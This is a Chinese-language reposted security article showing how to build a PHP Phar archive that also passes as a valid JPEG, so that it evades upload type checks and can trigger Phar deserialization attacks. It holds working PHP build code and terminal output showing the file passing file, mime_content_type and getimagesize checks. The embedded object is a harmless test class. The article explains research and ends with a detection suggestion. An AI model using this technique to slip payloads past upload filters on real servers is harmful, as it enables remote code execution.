伪装图片 攻击php,攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)...
在US BlackHat 2018大會上,安全人員證明,攻擊者不僅可以利用PHAR包發動RCE攻擊,而且,通過調整其二進制內容,他們還可以將其偽裝成一幅圖像,從而繞過安全檢查。
在本文中,我們來看看第二點是如何做到的。
背景知識
在US BlackHat 2018大會期間,Sam Thomas召開了一個關于在PHP中利用 phar:// 流包裝器來實現針對服務器的代碼執行攻擊的研討會( 幻燈片)。
在運行PHAR包時,由于PHP會對其內容進行反序列化,從而允許攻擊者啟動一個PHP對象包含鏈。其中,最有趣的部分在于如何觸發有效載荷:歸檔上的任何文件操作都將執行它。最后,攻擊者根本無需關心文件名是否正確,因為即使是失敗的文件調用,PHP也會對其內容進行反序列化處理。
此外,攻擊者完全可以將PHAR包偽裝成一幅圖像:在這篇文章中,我們將為讀者解釋他們是如何做到這一點的。
降至字節碼級別
有時我們會忘記這一點,那就是在機器眼里,文件只不過是一堆遵循預定義結構的字節而已。對于應用程序而言,將檢查自己是否可以管理這樣的數據流,如果可以的話,就會生成相應的輸出。
在Thomas的演講中,曾提示如何創建具有有效JPEG頭部的PHAR包。
圖片引自Sam Thomas的幻燈片
不過,這里我們要做的是創建一個具有JPEG頭部的文件,并更新PHAR的校驗和。這樣一來,PHAR包一方面會被視為一個圖像,同時,PHP還可以繼續執行它。
開始下手
聽起來,這里只需修改幾個字節并更新校驗,按說應該非常輕松,對吧?
然而,事實并非如此。
計算校驗和(至少對我來說)是一件讓人頭痛的事情。所以,我想:如果讓PHP來代勞的話,會怎樣呢?
所以,我對Thomas的原始劇本進行了一番改造,具體如下所示:
class TestObject {}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("xFFxD8xFFxFEx13xFAx78x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
如您所見,這里將原始HEX字節添加到了PHAR存檔的存根部分。下面是原始HEX得到的結果:
tampe125@AlphaCentauri:~$ xxd phar.jpeg
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>..
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L...............
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:"Test
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object":0:{}....
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~..........
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5.
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB
這同時是一個合法的PHAR包,以及一幅合法的JPEG圖像嗎?
tampe125@AlphaCentauri:~$ file phar.jpeg
phar.jpeg: JPEG image data
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
看到了吧,PHP將其視為一幅圖像,我們仍然可以探索存檔的內容。哈哈,好玩吧!
注意:請仔細查看存根部分,看看它是如何“跳過”開頭部分的PHP標記的。因為這里是繞過大多數內容掃描程序的關鍵所在。對于存檔來說,是否有效的關鍵在于函數 __HALT_COMPILER() ; 我認為,PHP會通過它來確定出應該“跳過”多少數據。
更進一步
到目前為止,我們制作的文件已經可以通過任何基于文件頭的類型檢測了,但是,對于更高級的檢測方法來說,它就無能為力了。例如,使用 getimagesize 來檢查文件內容是否為圖像的話,將返回false,因為它并不是一幅“真正”的圖像:
tampe125@AlphaCentauri:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)
看到了吧。
但是,別忘了,我們可以在 __HALT_COMPILER() 標記之前填充任意的數據的,所以,如果我們在此填入一幅完整的圖像的話,會怎樣呢?于是,我花了大量的時間去研讀 JPEG規范和 PHP源代碼 ,不過最后仍然沒有理出頭緒,所以,我果斷決定放棄——太復雜了。
那么,能否直接使用GIMP創建10x10黑色圖像并嵌入其中呢?
class TestObject {}
$jpeg_header_size =
"xffxd8xffxe0x00x10x4ax46x49x46x00x01x01x01x00x48x00x48x00x00xffxfex00x13".
"x43x72x65x61x74x65x64x20x77x69x74x68x20x47x49x4dx50xffxdbx00x43x00x03x02".
"x02x03x02x02x03x03x03x03x04x03x03x04x05x08x05x05x04x04x05x0ax07x07x06x08x0cx0ax0cx0cx0bx0ax0bx0bx0dx0ex12x10x0dx0ex11x0ex0bx0bx10x16x10x11x13x14x15x15".
"x15x0cx0fx17x18x16x14x18x12x14x15x14xffxdbx00x43x01x03x04x04x05x04x05x09x05x05x09x14x0dx0bx0dx14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14".
"x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14xffxc2x00x11x08x00x0ax00x0ax03x01x11x00x02x11x01x03x11x01".
"xffxc4x00x15x00x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxc4x00x14x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxdax00x0cx03".
"x01x00x02x10x03x10x00x00x01x95x00x07xffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x05x02x1fxffxc4x00x14x11".
"x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx01x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20".
"xffxdax00x08x01x02x01x01x3fx01x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x06x3fx02x1fxffxc4x00x14x10x01".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx21x1fxffxdax00x0cx03x01x00x02x00x03x00x00x00x10x92x4fxffxc4x00x14x11x01x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx10x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxda".
"x00x08x01x02x01x01x3fx10x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx10x1fxffxd9";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
好了,看看效果如何:
tampe125@AlphaCentauri:~$ file phar.jpeg
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
[0] =>
int(10)
[1] =>
int(10)
[2] =>
int(2)
[3] =>
string(22) "width="10" height="10""
'bits' =>
int(8)
'channels' =>
int(3)
'mime' =>
string(10) "image/jpeg"
}
這次,我們如愿以償了。這個文件不僅是一個包含我們想要利用的類的PHAR包,同時,它還是一幅合法的圖像(我們甚至可以用系統圖像查看器打開它):
小結
正如我們剛才看到的,文件實際上只是一堆字節而已:如果我們只是利用其元數據進行類型檢測的話,那么很可能會出錯:攻擊者可以輕松繞過檢測,并返回他們想要的文件類型。要想檢測文件類型,更加可靠的解決方案是直接讀取文件內容并搜索惡意字符串。
總結
以上是生活随笔為你收集整理的伪装图片 攻击php,攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)...的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: sudo su与su的区别
- 下一篇: WinPcap笔记:VisualStud